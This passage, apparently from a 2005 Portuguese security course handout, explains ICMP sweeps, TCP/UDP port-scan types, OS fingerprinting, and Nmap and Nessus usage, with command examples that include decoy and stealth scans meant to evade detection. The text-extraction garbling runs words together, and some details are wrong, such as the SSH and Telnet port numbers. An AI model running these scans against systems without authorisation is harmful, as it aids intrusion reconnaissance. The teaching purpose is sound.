ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes 